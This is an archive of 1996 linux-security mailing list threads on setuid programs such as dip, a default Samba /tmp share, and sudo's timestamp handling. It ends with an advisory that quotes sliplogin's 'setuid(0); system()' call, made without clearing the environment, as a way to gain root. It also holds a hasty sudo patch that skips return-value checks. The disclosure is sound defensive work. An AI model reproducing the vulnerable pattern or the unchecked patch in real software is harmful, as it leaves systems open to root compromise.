/--.oooO--(_)--Oooo.--------------------.oooO--(_)--Oooo.---\ | http://www.thirdwave.net/~jordy/ | | There are people in this world that look at art but can't | | see it. There are also people who listen to music but | | don't hear it. I feel sorry for those who look and | | listen and envious of those who can see and hear. | | .oooO Oooo. | | ( ) Oooo. [email protected] .oooO ( ) | \-----\ (----( )------------------------( )--- ) /------/ \_) ) / \ ( (_/ (_/ \_) From [email protected] Wed Jul 10 16:03:46 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.9 $) id QAA10730; Wed, 10 Jul 1996 16:03:46 -0400 From: Uri Blumenthal Message-Id: <[email protected]> Subject: Re: [linux-security] joy To: [email protected] (Jordy) Date: Wed, 10 Jul 1996 13:36:35 -0400 (EDT) Cc: [email protected] In-Reply-To: from "Jordy" at Jul 9, 96 11:53:35 pm Reply-To: [email protected] X-Mailer: ELM [version 2.4 PL25] Content-Type: text Sender: [email protected] Precedence: list Jordy says: > actually, dip does need to be setuid because it modifies the routing tables. (:-) You got it... > the problem with it was that it doesn't check strlen(), stupid thing... > you know, someone should write a nice little howto file on setuid > programming: > > on all input do strlen() Not necessarily. Much better would be to input only a certain number of bytes... > don't use system() "Shouldn't" is better than "don't"... > put the full paths of all binaries when execl*() > check eiud Double emphatic yes! > reset all "evil" environmental variables (:-) > never run a shell script from a setuid program Oh, there still are those who do? What's their IP addresses? (:-) > if possible, setuid to something other than root that has only the power > to do what is needed Plus - many things can be done with set-gid and user groups. > possibly do what apache does? spawn new daemons as user nobody? it was > said that apache did it the RIGHT way. Just say - "drop the unnecessary privileges as soon as they become unnecessary". Oh, and truncate that signature of yours. (:-) -- Regards, Uri [email protected] -=-=-=-=-=-=- From [email protected] Wed Jul 10 17:51:55 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.9 $) id RAA11425; Wed, 10 Jul 1996 17:51:55 -0400 From: John Betts Message-Id: <[email protected]> Subject: Re: [linux-security] dip To: [email protected] (Jordy) Date: Wed, 10 Jul 1996 19:20:34 +0200 (SAT) Cc: [email protected] In-Reply-To: from "Jordy" at Jul 9, 96 11:53:35 pm Reply-to: [email protected] Content-Type: text Sender: [email protected] Precedence: list % actually, dip does need to be setuid because it modifies the routing tables. % forgive me if I am missing something here.... but, why would you want non-root users to make network connections and make changes to routing tables? Simple solution is to chmod -s dip, and only run it as root. Do you _really_ want any 'ol luser on your system to dial out and do funny things with your modem? I think there should be a comms group, at least, in which only users in that group may use _any_ communications device... I dont like the fact that by default any 'ol luser can use my modem... what about you folk? Should this defacto standard be changed? ciao -- John -- John Betts, Aztec Internet Services Port Elizabeth, South Africa [email protected], Tel. +27(0)41 303 475, Fax. +27(0)41 301 052 The world is complex. The Sendmail configuration reflects this. From [email protected] Wed Jul 10 17:55:17 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.9 $) id RAA11460; Wed, 10 Jul 1996 17:55:17 -0400 Subject: Re: [linux-security] Re: You wouldn't believe it... To: [email protected] Date: Wed, 10 Jul 1996 13:49:15 -0700 (PDT) Cc: [email protected] Reply-to: [email protected] X-Mailer: ELM [version 2.4ME+ PL16 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Content-Length: 2478 Message-Id: From: John Henders Sender: [email protected] Precedence: list Jon Lewis writes: > This is something I meant to say something about...but kept forgetting. > There's this box I installed very nearly all of Red Hat 3.0.3 on to get a > feel for Red Hat and see just how much I'd hate it. Maybe I just haven't > gotten to know it well enough...but I greatly prefer my hacked up > slackware based boxes. Anyway, one day a co-worker brings in his > notebook with pcmcia ethernet, and asks me whats up with this Windows > server on our network. "What windows server?" It was then that I found > that by default, Red Hat 3.0.3 setup Samba for me and ran it with /tmp > world rw. I still don't know Samba, but I assume this is the section of > config file responsible: > > [tmp] > comment = Temporary file space > path = /tmp > read only = no > public = yes > > On a small box such as this one, where the root fs is _the_ fs, a world > writable (no account needed) exported directory could be a very bad thing. Only if there's a bug in samba that allows you to get out of the directory that is exported, as there was with the NT implementation. I think this is the result of a different philosophy than Slackware more than anything else. With Redhat, the assumption seems to be that if you ask for a package to be installed it will be configured as well, where as Slackware (or at least the last version I installed) just installs the package and leaves you to figure out how to configure it. Debian seems to follow the Redhat philosophy as well. If you install netatalk, for instance, it configures it to allow users to mount this home directory. Where both packages fall down, redhat's rpm installed the most, IMHO, is that they fail to tell you very little about what they've done. rpm --install package is comeletely silent, and the -v verbose flag is not much better. Debian fares much better in this regard, but I'd still think more info on the package should be presented somehow. The problem is even worse when installing a whole distribution, as in my experience, no one sticks around to watch the messages printed on a large install. Perhaps if the installers had info sheets for each package, on a bulk install they could save them all to disk and then mail the whole thing to root after installation. -- Artificial Intelligence stands no chance against Natural Stupidity. GAT d- -p+(--) c++++ l++ u++ t- m--- W--- !v b+++ e* s-/+ n-(?) h++ f+g+ w+++ y* From [email protected] Wed Jul 10 17:55:35 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.9 $) id RAA11476; Wed, 10 Jul 1996 17:55:35 -0400 To: [email protected] Path: news.dhp.com!not-for-mail From: [email protected] (Matt) Newsgroups: mail.linux.security Subject: Re: [linux-security] joy Date: 10 Jul 1996 17:38:00 -0400 Organization: DataHaven Project +1 412 421 4516 (DHP.COM) Lines: 16 Message-ID: <[email protected]> References: X-Newsreader: TIN [version 1.2 PL2+color] Sender: [email protected] Precedence: list Jordy ([email protected]) wrote: : actually, dip does need to be setuid because it modifies the routing tables. SETUID programs are setuid because users are calling them. Why is dip being called by a user? If programs are unsuited for being called by users, then perhaps a wrapper that doesn't except user input is more called for? My point is that there are very few programs that need to be SUID. SU is one that needs to be off hand, /bin/login does not need to be, because it is called by telnetd which is running as root, because it is spawned from inetd. etc... -- -Matt ([email protected]) DI-1-9026 "That which can never be enforced should not be prohibited." From [email protected] Wed Jul 10 17:56:01 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.9 $) id RAA11492; Wed, 10 Jul 1996 17:56:01 -0400 Message-Id: <[email protected]> Date: Wed, 10 Jul 1996 23:51:54 +0200 From: Fabrizio Giudici Organization: University of Genoa X-Mailer: Mozilla 3.0b4 (X11; I; SunOS 5.4 i86pc) Mime-Version: 1.0 To: [email protected] Subject: Re: [linux-security] Re: You wouldn't believe it... Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: [email protected] Precedence: list Jon Lewis wrote: > > [snip] > > slackware based boxes. Anyway, one day a co-worker brings in his > notebook with pcmcia ethernet, and asks me whats up with this Windows > server on our network. "What windows server?" It was then that I found > that by default, Red Hat 3.0.3 setup Samba for me and ran it with /tmp > world rw. I still don't know Samba, but I assume this is the section of > config file responsible: > [snip] > On a small box such as this one, where the root fs is _the_ fs, a world > writable (no account needed) exported directory could be a very bad thing. Writing on /tmp is not as dangerous, but I agree that people should be warned about it. My point is that Samba is really a _good_ thing (it resolved many many problems in my department) and it is fine that it is automatically set up, however Red Hat people should take care of inserting a message during the installation phase in which they tell the user what kind of services are automatically available. But in my opinion the matter is not only Samba nor Red Hat: by default in /etc/inetd.conf there are other services that are automatically activated and the system owner should be aware of. Probably the best thing could be a dialog box during the installation that shows all available services with a brief description and allows to selectively enable/disable them. Just my 0.02 cents... -- .---------------------------------------------------------------------------. | Fabrizio Giudici, PhD Student ([email protected]) | Style distinguishes | | WWW-PAGE: http://tomcat.dibe.unige.it/~fritz/ | excellence from | | PHONE: +39 10 3532192 / 3532174 / 3532897 | accomplishment. | | FAX: +39 10 3532175 `---------------------| | Dept. of Biophys. and Elect. Eng. (DIBE), University of Genoa - ITALY | `---------------------------------------------------------------------------' All expressed opinions are personal and not of the organization I work for. linux-security/linux-security.960712100664 1767 1767 36262 6171457443 16667 0ustar majdommajdomFrom [email protected] Fri Jul 12 10:11:30 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.9 $) id KAA25712; Fri, 12 Jul 1996 10:11:30 -0400 Date: Thu, 11 Jul 1996 01:48:05 +0200 (GMT+0200) From: Gregory Massel To: Uri Blumenthal cc: Jordy , [email protected] Subject: Re: [linux-security] joy In-Reply-To: <[email protected]> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: [email protected] Precedence: list On Wed, 10 Jul 1996, Uri Blumenthal wrote: > > never run a shell script from a setuid program > > Oh, there still are those who do? What's their IP addresses? (:-) Forgive me if I'm wrong here, but aren't there cases where this is needed? An example is the /etc/ppp/ip-up script that is run by pppd. Such a script must be run setuid root so that you can use it to add routes etc. Regards Greg -------------- Gregory Massel -------------- CyberSurf Technologies cc E-Mail: [email protected] Tel: +27 31 207-3034 Fax: +27 31 29-4709 After hours, Tel: +27 31 81-4273 -------------------------------------------- From [email protected] Fri Jul 12 10:14:06 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.9 $) id KAA25731; Fri, 12 Jul 1996 10:14:06 -0400 Message-Id: <[email protected]> Subject: Re: [linux-security] Re: You wouldn't believe it... To: [email protected] Date: Wed, 10 Jul 1996 21:36:22 -0400 (EDT) Cc: [email protected] In-Reply-To: from "John Henders" at Jul 10, 96 01:49:15 pm From: [email protected] Reply-To: [email protected] X-Mailer: ELM [version 2.4 PL24] Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Content-Length: 974 Sender: [email protected] Precedence: list [email protected]: > Jon Lewis writes: > > > [tmp] > > comment = Temporary file space > > path = /tmp > > read only = no > > public = yes > > > > On a small box such as this one, where the root fs is _the_ fs, a world > > writable (no account needed) exported directory could be a very bad thing. > > Only if there's a bug in samba that allows you to get out of the > directory that is exported, as there was with the NT implementation. Exporting /tmp rw is always scary, especially when you don't have root squash or somesuch enabled. > The problem is even worse when installing a whole distribution, as in my > experience, no one sticks around to watch the messages printed on a > large install. Perhaps if the installers had info sheets for each > package, on a bulk install they could save them all to disk and then > mail the whole thing to root after installation. Fantastic idea. Pretty please, redhat.com? -- Dan D'Ambrosio [email protected] From [email protected] Fri Jul 12 10:14:25 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.9 $) id KAA25747; Fri, 12 Jul 1996 10:14:25 -0400 From: Chris Adams Message-Id: <[email protected]> Subject: Re: [linux-security] Re: You wouldn't believe it... To: [email protected] (Jon Lewis) Date: Wed, 10 Jul 1996 23:19:58 -0500 (CDT) Cc: [email protected], [email protected], [email protected] In-Reply-To: from "Jon Lewis" at Jul 10, 96 02:12:11 am Reply-To: [email protected] Organization: None really X-Mailer: ELM [version 2.4 PL25] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Content-Length: 1412 Sender: [email protected] Precedence: list Once upon a time, Jon Lewis wrote > This is something I meant to say something about...but kept forgetting. > There's this box I installed very nearly all of Red Hat 3.0.3 on to get a > feel for Red Hat and see just how much I'd hate it. Maybe I just haven't > gotten to know it well enough...but I greatly prefer my hacked up > slackware based boxes. Anyway, one day a co-worker brings in his > notebook with pcmcia ethernet, and asks me whats up with this Windows > server on our network. "What windows server?" It was then that I found > that by default, Red Hat 3.0.3 setup Samba for me and ran it with /tmp > world rw. I still don't know Samba, but I assume this is the section of I think that by default, RedHat assumes that you want to run everything you install. Install INN, it will be run at boot time. Install Samba, it will be run at boot time, etc. All you have to do is either delete links from /etc/rc.d/rc[0-6].d or run the program under X that lets you use a GUI to do the same thing. :-) Once I figured that out, I have gotten to like RedHat (of course, I don't have to worry much about security under RedHat until next week). -- Chris Adams ([email protected]) "So, if anybody wants to have hardware sent to them: don't call me, but instead write your own unix operating system. It has worked every time for me." - Linus Torvalds, author of Linux (Unix-like) OS From [email protected] Fri Jul 12 10:15:12 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.9 $) id KAA25764; Fri, 12 Jul 1996 10:15:12 -0400 Date: Thu, 11 Jul 1996 14:38:14 +0200 (MET DST) From: Suicide Object To: Fabrizio Giudici cc: [email protected] Subject: Re: [linux-security] Re: You wouldn't believe it... In-Reply-To: <[email protected]> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: [email protected] Precedence: list On Wed, 10 Jul 1996, Fabrizio Giudici wrote: > Jon Lewis wrote: > > [snip] > > that by default, Red Hat 3.0.3 setup Samba for me and ran it with /tmp > > world rw. I still don't know Samba, but I assume this is the section of > > [snip] > Writing on /tmp is not as dangerous, but I agree that people should be > warned about it. eh? share lib telnetd attack. Instant root (so ok it's old, just an example) > But in my opinion the matter is not only Samba nor Red Hat: by default > in /etc/inetd.conf there are other services that are automatically activated > and the system owner should be aware of. Probably the best thing could be a > dialog box during the installation that shows all available services with a > brief description and allows to selectively enable/disable them. that would be a good idea. Or just disable everything by default and have them enable it themselves, once they know *what* they are doing. Wim Vandeputte, Tunnel Vision and the scars to prove it "Is it time to shut down and lay to rest the Bomb that Servant Suicide Object worshipped like a God" -- NIVEK OGRE From [email protected] Fri Jul 12 10:15:49 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.9 $) id KAA25780; Fri, 12 Jul 1996 10:15:49 -0400 Date: Thu, 11 Jul 1996 10:11:38 -0400 (EDT) Message-Id: <[email protected]> From: Chris Woods To: [email protected] Cc: [email protected] Subject: Re: [linux-security] dip In-Reply-To: <[email protected]> References: <[email protected]> Sender: [email protected] Precedence: list -----BEGIN PGP SIGNED MESSAGE----- John Betts writes: > forgive me if I am missing something here.... > > but, why would you want non-root users to make network connections and > make changes to routing tables? Remember that many, many linux boxes are single-user machines, being used as desktop PC's in offices or homes. We don't want to encourage end-users to keep a root shell open, or to do something as root that they really don't need to do. And I'm sure there are extenuating circumstances in which there might be a valid reason to allow any of a number of users to establish a dialup connection without having to give them root access. > Do you _really_ want any 'ol luser on your system to dial out > and do funny things with your modem? I believe dip provides a means by which you can specify which users are allowed to use the service. I don't recall, honestly... it's been a long, long time since I've used dip. -cjw "Beware that the most effective way for someone to decrypt your data may be with a rubber hose." --Tatu Ylonen -----BEGIN PGP SIGNATURE----- Version: 2.6.2 Comment: Processed by Mailcrypt 3.4, an Emacs/PGP interface iQCVAwUBMeULkFBcQF9K4jiRAQHWZgP/cpRQva6dLv+lThMwC4NLjaZMvFuqmVMd GOkQ9QUT0hvhujSVOD75ypY5dIkEVY3b/4hXH3BEHXG4ugVSI+Ls9a7Ry7pqzzW3 yI3E3g035Lvf3osLiTNlsU0Z802WZ9y5ozKzU2UwuzV63/aF7vY8T8+4I4fTkjiF r95mej3ru0Q= =EiXI -----END PGP SIGNATURE----- From [email protected] Fri Jul 12 10:18:44 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.9 $) id KAA25805; Fri, 12 Jul 1996 10:18:44 -0400 Message-ID: Date: Thu, 11 Jul 1996 01:55:03 -0400 (EDT) From: Cosimo Leipold To: [email protected] (Jordy) Subject: Re: [linux-security] dip Cc: [email protected] In-Reply-To: <[email protected]> References: <[email protected]> Sender: [email protected] Precedence: list The problem with every system doesn't change. The question boils down to how many people are going to take the time to change thing that are potentially dangerous though not. For example, you might think dip was a bad idea to have setuid, you might think that the best thing to do is to make a dip group, nut how many of you will go and chmod dip and edit your group file and make a group called dip? This is an example of a *very* lazy person, but if you look at some other examples of security holes, it often, if not always, comes down to someone just not taking the time to *drop everything* and fix it. For example, a while back, there was a posting here about convert.bas being insecure, you can still find sites with convert.bas on them. However, altavista, which once let you search for convert.bas now has removed all links with that refrence. This is what everyone should do. (of course, you can still look things up with date.bas and then just assume convert.bas still exsists...) The problem, I feel doesn't lie in whether dip is SETUID(0) or not, it lies in the fact that people just dont take the appropriate action --> drop everything and fix it.... From [email protected] Fri Jul 12 10:19:04 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.9 $) id KAA25822; Fri, 12 Jul 1996 10:19:04 -0400 From: The Chazman Date: Wed, 10 Jul 1996 23:30:43 -0700 (PDT) Message-Id: <[email protected]> To: [email protected], [email protected] Subject: Re: [linux-security] joy Sender: [email protected] Precedence: list Matt ([email protected]) writes: > > Jordy ([email protected]) wrote: > : actually, dip does need to be setuid because it modifies the routing tables. > > SETUID programs are setuid because users are calling them. Why is dip > being called by a user? If programs are unsuited for being called by > users, then perhaps a wrapper that doesn't except user input is more > called for? > True, dip will work fine in dialout mode installed with permissions 0755 if it is only invoked by root. But dip can also be used as the login shell of an account on a SLIP/PPP server machine that the client logs in as to establish the connection. When used in this mode, dip must be installed SUID root, unless you want to make an intermediary suid-root program that then exec's dip, but what does that buy you? -----Carl Miller [[email protected] -- UCSD student, ComStream engineer] From [email protected] Fri Jul 12 10:19:22 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.9 $) id KAA25838; Fri, 12 Jul 1996 10:19:22 -0400 Date: Thu, 11 Jul 1996 09:16:40 +0100 (WET DST) From: Klaus Lichtenwalder To: [email protected] Subject: Re: [linux-security] dip In-Reply-To: <[email protected]> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: [email protected] Precedence: list On Wed, 10 Jul 1996, John Betts wrote: > [...] > I think there should be a comms group, at least, in which only > users in that group may use _any_ communications device... > > I dont like the fact that by default any 'ol luser can use my modem... > what about you folk? Should this defacto standard be changed? > Yes, that's the solution we do. We have some "power" users (who also know the root passwd) and few dialup people. We need to be able to dip to connect to our clients, but very definitely want to restrict modem use ... Klaus ________________________________________________________________________ Klaus Lichtenwalder, Dipl. Inform., PGP Key: email to [email protected] [email protected], http://www.wp.com/Klaus, fax: +49-89-98292755 Check out Oregon vs. Schwartz: http://www.lightlink.com/spacenka/fors From [email protected] Fri Jul 12 10:20:15 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.9 $) id KAA25857; Fri, 12 Jul 1996 10:20:15 -0400 From: Blue Message-Id: <[email protected]> Subject: [linux-security] SUDO problems To: [email protected] Date: Thu, 11 Jul 1996 14:44:05 -0400 (EDT) X-Mailer: ELM [version 2.4 PL24] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Content-Length: 935 Sender: [email protected] Precedence: list Howdy folks, Thanks for all the advice on hacking passwd for SUDO use - final result I hacked passwd so that it won't work on UIDs under 400. A bit of usage has shown me a possible security hole with SUDO. SUDO allows multiple uses within a certain time period without reentering your password to ensure that you are who you say. This is a feature. However, if there is another terminal logged in, or logs in, during that period, they can use SUDO without entering a passwd. SUDO asks for a password to ensure that an unattended terminal isn't used to run programs with root, and this allows that to be circumvented. People can even log off, log back in, and still be able to SUDO if under the time limit. As a temporay measure I'm reducing the time limit, but does anyone know of a patch or the like to prevent this from happening, perhaps something that also identifies the tty? Jim Carstensen [email protected] linux-security/linux-security.960713100664 1767 1767 13742 6172036700 16654 0ustar majdommajdomFrom [email protected] Sat Jul 13 20:21:00 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.9 $) id UAA02963; Sat, 13 Jul 1996 20:21:00 -0400 From: Uri Blumenthal Message-Id: <[email protected]> Subject: Re: [linux-security] dip To: [email protected] (Chris Woods) Date: Fri, 12 Jul 1996 18:01:13 -0400 (EDT) Cc: [email protected], [email protected] In-Reply-To: <[email protected]> from "Chris Woods" at Jul 11, 96 10:11:38 am Reply-To: [email protected] X-Mailer: ELM [version 2.4 PL25] Content-Type: text Sender: [email protected] Precedence: list Chris Woods says: > > but, why would you want non-root users to make network connections and > > make changes to routing tables? > > Remember that many, many linux boxes are single-user machines, being > used as desktop PC's in offices or homes. We don't want to encourage > end-users to keep a root shell open, or to do something as root that > they really don't need to do. A perfectly valid reason. Also, some multiuser machines do allow *some* users to dial out, and possibly dial-out to establish IP link to the outside. In both cases, DIP has to be set-uid root. Of course, it makes sense to have it also either set-gid whatever *group* is allowed to execute it, with no permissions whatsoever for the others, like: -rwsr-s--- 1 root dip 89101 Jun 11 00:01 /usr/sbin/dip Or make some kind of wrapper, which controls group-wide access, but still does not eliminate the need for DIP itself to be set-uid root. > > Do you _really_ want any 'ol luser on your system to dial out > > and do funny things with your modem? > > I believe dip provides a means by which you can specify which users > are allowed to use the service. I don't recall, honestly... it's been > a long, long time since I've used dip. Partially. DIP allows to verify whether a dial-in user is permitted to establish an IP connection, but that's about it (oh, plus some auth stuff done)... More work is needed to incirporate better auth methods... -- Regards, Uri [email protected] -=-=-=-=-=-=- From [email protected] Sat Jul 13 20:21:36 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.9 $) id UAA02979; Sat, 13 Jul 1996 20:21:36 -0400 Date: Fri, 12 Jul 1996 13:14:04 -1000 (HST) From: Jordy To: Blue cc: [email protected] Subject: Re: [linux-security] SUDO problems In-Reply-To: <[email protected]> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: [email protected] Precedence: list > People can even log off, log back in, and still be able to SUDO if under > the time limit. yep, two ways i guess you could fix this.... check the tty, or check where the person was logging in from, or BOTH! ;p hrm, don't know why that wasn't though of first > As a temporay measure I'm reducing the time limit, but does anyone know > of a patch or the like to prevent this from happening, perhaps something > that also identifies the tty? > > Jim Carstensen > [email protected] > ,''~``. ,''``~. ( o o ) ,( o o ), /--.oooO--(_)--Oooo.--------------------.oooO--(_)--Oooo.---\ | http://www.thirdwave.net/~jordy/ | | There are people in this world that look at art but can't | | see it. There are also people who listen to music but | | don't hear it. I feel sorry for those who look and | | listen and envious of those who can see and hear. | | .oooO Oooo. | | ( ) Oooo. [email protected] .oooO ( ) | \-----\ (----( )------------------------( )--- ) /------/ \_) ) / \ ( (_/ (_/ \_) From [email protected] Sat Jul 13 20:22:22 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.9 $) id UAA02995; Sat, 13 Jul 1996 20:22:22 -0400 Subject: Re: [linux-security] SUDO problems From: Stefan `Sec` Zehl To: [email protected] (Blue) Date: Sun, 14 Jul 1996 00:20:27 +0200 (MESZ) Cc: [email protected] In-Reply-To: <[email protected]> from "Blue" at Jul 11, 96 02:44:05 pm X-URL: http://www.blafasel.de/~sec/ X-Nick: Sec X-Mailer: ELM [version 2.4 PL24 PGP2] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7BIT Content-Length: 1010 Message-Id: <96Jul14.002030+0100mesz.398826-222+5497@hphalle0.informatik.tu-muenchen.de> Sender: [email protected] Precedence: list Blue wrote: [...] > However, if there is another terminal logged in, or logs in, during that > period, they can use SUDO without entering a passwd. SUDO asks for a > password to ensure that an unattended terminal isn't used to run programs > with root, and this allows that to be circumvented. You can tell sudo to use authentification 'per tty' so you have to enter your password for each tty seperately, this solves your first problem :) > > People can even log off, log back in, and still be able to SUDO if under > the time limit. you can put 'sudo -k' in your '.logout' (or whatever appropriate) to remove the timestamp-file 'if' there is one, so this effectively solves your second problem :) > > that also identifies the tty? It's already in the newest versioon :) CU, Sec -- Email: [email protected] or [email protected] WWW: http://www.blafasel.de/~sec/ Phone: 089/3618013 or 0177/2340515 IRC: Sec @ #blafasel I'm living on a small planet called Reality ;-) linux-security/linux-security.960715100664 1767 1767 11771 6172510710 16654 0ustar majdommajdomFrom [email protected] Mon Jul 15 12:16:31 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.9 $) id MAA14178; Mon, 15 Jul 1996 12:16:31 -0400 Date: Sat, 13 Jul 1996 12:54:02 -0700 (PDT) From: "Peter J. Braam" X-Sender: [email protected] To: [email protected] Subject: [linux-security] security idea In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: [email protected] Precedence: list I wonder if the following has been considered already. Many security issues would be helped if there was one extra user which could su to any other user, but not to uid zero. Let's call this user "super". Suid root programs might still have to start as root, to listen on a priviliged port for example, but could then relinquish this uid 0 for uid super, and do what they need to do. Sendmail is a good example. Programs running as super could mess up users files, but not the "system" files owned by root, which strikes me as a definite advantage. Exceptions would be the passwd program etc. Just a thought. Peter From [email protected] Mon Jul 15 12:19:07 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.9 $) id MAA14205; Mon, 15 Jul 1996 12:19:07 -0400 Date: Sun, 14 Jul 1996 03:50:30 -0400 (EDT) From: James To: Blue cc: [email protected] Subject: Re: [linux-security] SUDO problems In-Reply-To: <[email protected]> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: [email protected] Precedence: list Well sudo touches a file /tmp/.odus/username i am sure it could be easily patched to touch a file called /username-tty this would still not be as secure as other more complex alternatives... for example, someone could telnet in on ttyp1 and then logout, someone could immediately login after on ttyp1 and wont have to use a password to sudo... This could be fixed by hacking up all your shells to remove the files when the users logout... Or maybe someone can think of another alternative... for the time being I am probably going to fix up sudo to keep the tty info also...I will leteverrryone know how it turns out James Golovich From [email protected] Mon Jul 15 12:19:30 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.9 $) id MAA14223; Mon, 15 Jul 1996 12:19:30 -0400 Date: Sun, 14 Jul 1996 05:13:33 -0400 (EDT) From: James To: [email protected] Subject: Re: [linux-security] SUDO problems Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: [email protected] Precedence: list > It's already in the newest versioon :) Well I didn't know there was a new version out.. (does it support shadow?)... I am using 1.2 and hacked up a quick fix in about 4 minutes that works... I really don't have much time to reinstall software and make sure it is working, and maybe someone else is in the same position that I am, so I figured I would post my diff... James Golovich --- check.c.old Sun Jul 14 04:03:08 1996 +++ check.c Sun Jul 14 04:07:51 1996 @@ -42,6 +42,7 @@ #include #include #include +#include #include "sudo.h" #ifdef LINUX @@ -133,7 +134,9 @@ time_t now; -sprintf ( timestampfile, "%s/%s", TIMEDIR, user ); +sprintf ( timestampfile, "%s/%s.%s", TIMEDIR, user, +strtok(ttyname(fileno(stdin)), "/dev") ); + timestampfile_p = timestampfile; timedir_is_good = 1; /* now there's an assumption for ya... */ From [email protected] Mon Jul 15 14:45:20 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.9 $) id OAA15514; Mon, 15 Jul 1996 14:45:20 -0400 Date: Mon, 15 Jul 1996 20:41:25 +0200 From: [email protected] Message-Id: <[email protected]> To: [email protected], [email protected] Subject: Re: [linux-security] SUDO problems Sender: [email protected] Precedence: list : I really don't have much time to reinstall software and make sure it is : working, and maybe someone else is in the same position that I am, so I : figured I would post my diff... : James Golovich : --- check.c.old: Sun Jul 14 04:03:08 1996 : +++ check.c: Sun Jul 14 04:07:51 1996 : @@ -133,7 +134,9 @@ : : -sprintf ( timestampfile, "%s/%s", TIMEDIR, user ); : +sprintf ( timestampfile, "%s/%s.%s", TIMEDIR, user, : +strtok(ttyname(fileno(stdin)), "/dev") ); And no check for the return value of ttyname? And no check for the return value of strtok? linux-security/linux-security.960716100664 1767 1767 27451 6172665440 16672 0ustar majdommajdomFrom [email protected] Tue Jul 16 05:10:39 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.9 $) id FAA21122; Tue, 16 Jul 1996 05:10:39 -0400 Date: Mon, 15 Jul 1996 22:59:47 +0100 Message-Id: <[email protected]> From: "Stephen C. Tweedie" To: "Peter J. Braam" Cc: [email protected] Subject: Re: [linux-security] security idea In-Reply-To: References: Sender: [email protected] Precedence: list Hi, On Sat, 13 Jul 1996 12:54:02 -0700 (PDT), "Peter J. Braam" said: > I wonder if the following has been considered already. > Many security issues would be helped if there was one extra user which > could su to any other user, but not to uid zero. Let's call this user > "super". > Suid root programs might still have to start as root, to listen on a > priviliged port for example, but could then relinquish this uid 0 for uid > super, and do what they need to do. Sendmail is a good example. The POSIX.6 proposals deal with this already, and in a much more flexible manner. By splitting root privilege into a number of independent process rights, they allow processes to inherit (or gain, via a suid-like mechanism) only those rights which they need. Furthermore, the process can discard any of those rights in the future once they are no longer necessary. Sendmail is actually a bad example. It needs access to certain mail-specific files, but that can be done by the normal user/group mechanism anyway. It does not need the privilege of writing files as another user: a separate delivery program should be used for this to minimise the possibility of that privilege leaking out of a program bug. And it _certainly_ shouldn't be given root privilege if all it needs to do is to bind to a privileged port. Cheers, Stephen. -- Stephen Tweedie Department of Computer Science, Edinburgh University, Scotland. From [email protected] Tue Jul 16 05:11:55 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.9 $) id FAA21145; Tue, 16 Jul 1996 05:11:55 -0400 From: David Holland Message-Id: <[email protected]> Subject: [linux-security] sliplogin To: [email protected] Date: Mon, 15 Jul 1996 21:56:36 -0400 (EDT) X-Mailer: ELM [version 2.4 PL22] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: [email protected] Precedence: list Anyone running a version of sliplogin older than sliplogin-2.1.0 (which can be gotten from sunsite.unc.edu:/pub/Linux/system/Network/serial or ftp.uk.linux.org:/pub/linux/Networking/transports) should remove it or upgrade it immediately. It does setuid(0); if (s = system(logincmd)) { : } without clearing the environment first. Therefore, anybody can get root trivially. The sliplogin from NetKit-B-0.06 is affected. Current RedHat sliplogin is not affected. Others I don't know about. -- - David A. Holland | Number of words in the English language that [email protected] | exist because of typos or misreadings: 381 From [email protected] Tue Jul 16 05:12:57 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu 